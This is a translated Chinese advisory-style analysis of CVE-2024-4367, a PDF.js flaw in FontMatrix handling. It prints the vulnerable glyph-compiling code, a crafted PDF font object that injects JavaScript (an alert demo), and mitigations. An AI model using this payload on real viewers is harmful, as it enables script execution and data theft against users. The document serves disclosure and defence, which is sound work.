【翻译】CVE-2024-4367 - 在 PDF.js 中执行任意 JavaScript
字数 1453
更新时间 2025-08-23 06:22:48
CVE-2024-4367漏洞分析与防护指南:PDF.js任意JavaScript执行漏洞
漏洞概述
CVE-2024-4367是PDF.js中的一个高危漏洞,允许攻击者通过特制的PDF文件执行任意JavaScript代码。PDF.js是由Mozilla维护的基于JavaScript的PDF查看器,广泛应用于:
- Firefox浏览器内置PDF查看器(所有版本<126)
- Node.js模块pdfjs-dist(每周约270万次下载)
- 各种基于Web和Electron的应用程序
技术背景
PDF.js的字体渲染机制
PDF.js在处理PDF中的字体时,对于某些字体格式需要手动将字形描述转换为页面上的曲线。为了优化性能,PDF.js会为每个字形预编译一个路径生成器函数:
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
return (this.compiledGlyphs[character] = new Function("c", "size", jsBuf.join("")));
}
漏洞根源
漏洞存在于字体矩阵(FontMatrix)的处理过程中:
compileGlyph方法初始化cmds数组,包含save、transform、scale和restore命令transform命令使用fontMatrix数组的值- 当从PDF字典中获取
FontMatrix时,未对数组元素类型进行严格验证
漏洞利用细节
攻击向量构造
攻击者可以通过在PDF中定义自定义的FontMatrix数组来注入恶意代码:
1 0 obj <<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
>> endobj
生成的恶意函数
上述PDF会导致生成如下JavaScript函数:
c.save();
c.transform(1, 2, 3, 4, 5, 0); alert('foobar');
c.scale(size, -size);
c.moveTo(0, 0);
c.restore();
执行上下文
在Firefox中,恶意代码会在resource://pdf.js上下文中执行,具有以下能力:
- 通过对话框调用文件下载
- 访问
window.PDFViewerApplication.url获取打开的PDF文件路径 - 监控用户行为
影响范围
- Firefox用户:所有使用内置PDF.js版本低于126的Firefox浏览器
- Web应用:使用易受攻击版本PDF.js的网站(如Git托管平台、笔记应用等)
- Electron应用:未正确沙箱化JavaScript的Electron应用可能导致本地代码执行
防护措施
1. 更新PDF.js
升级到PDF.js 4.2.67或更高版本。检查方法:
- 递归检查
node_modules文件夹中是否存在pdf.js文件 - 检查依赖的高级PDF相关库是否静态嵌入了PDF.js
2. 临时缓解方案
// 禁用eval支持
PDFJS.isEvalSupported = false;
3. 内容安全策略(CSP)
实施严格的内容安全策略,禁用eval和Function构造函数:
Content-Security-Policy: script-src 'self'; object-src 'none';
时间线
- 2024年4月26日:漏洞向Mozilla披露
- 2024年4月29日:PDF.js v4.2.67发布
- 2024年5月14日:Firefox 126、Firefox ESR 115.11和Thunderbird 115.11发布,包含修复
概念验证
概念验证PDF文件可通过文本编辑器修改,演示JavaScript执行上下文。注意:实际攻击可能比简单的alert演示更具破坏性。
开发者建议
- 审计应用程序是否直接或间接使用PDF.js
- 对于服务器端PDF处理,虽然无头模式可能不受影响,但仍建议更新
- 考虑使用PDF.js的沙箱版本或替代方案处理不受信任的PDF文件
总结
CVE-2024-4367是一个严重的客户端代码执行漏洞,影响广泛使用的PDF.js库。通过精心构造的PDF文件,攻击者可以在受害者上下文中执行任意JavaScript代码,可能导致数据泄露、账户接管甚至本地代码执行。及时更新和适当的安全配置是防范此漏洞的关键。
相似文章
相似文章